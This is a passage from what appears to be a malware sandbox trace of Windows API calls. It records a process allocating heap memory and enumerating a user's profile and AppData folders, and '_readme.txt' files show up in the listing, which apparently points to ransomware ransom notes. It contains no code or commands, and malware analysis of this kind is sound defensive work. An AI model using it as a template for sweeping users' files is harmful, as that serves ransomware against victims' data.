RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f1a0 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f208 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f270 [0112.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326de10 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daa0 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dcb0 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96401ed0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x96401ed0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dcb0 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb1dfde00, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xb1dfde00, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb1dfde00, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0112.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0112.745] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0112.745] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0112.745] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0112.745] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x967e0290, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x967e0290, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x214) returned 0x32bd5d0 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daa0 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326de68 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dec0 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326df18 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf538 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326df70 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f2d8 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dfc8 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f340 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e020 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326db50 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f1a0 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f208 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f270 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dcb0 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326daf8 | out: hHeap=0x660000) returned 1 [0112.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7549e0 | out: hHeap=0x660000) returned 1 [0112.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326daf8 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0112.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dcb0 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f270 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f208 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f270 | out: hHeap=0x660000) returned 1 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326de10 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd08 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dc58 [0112.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326ddb8 [0112.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dc58 | out: hHeap=0x660000) returned 1 [0112.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd08 | out: hHeap=0x660000) returned 1 [0112.747] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0112.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0112.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x331f270 [0112.747] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0112.747] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9676de70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9676de70, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0112.747] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5136ef0, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xd5136ef0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd5136ef0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0112.747] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5136ef0, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xd5136ef0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd5136ef0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0112.747] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4f8 | out: hHeap=0x660000) returned 1 [0112.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0112.747] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.747] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.747] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.747] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.747] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0112.747] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.747] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.747] PathFindFileNameW (pszPath="") returned="" [0112.747] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.748] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.748] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xabd294d0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xabd294d0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0112.748] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0112.748] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 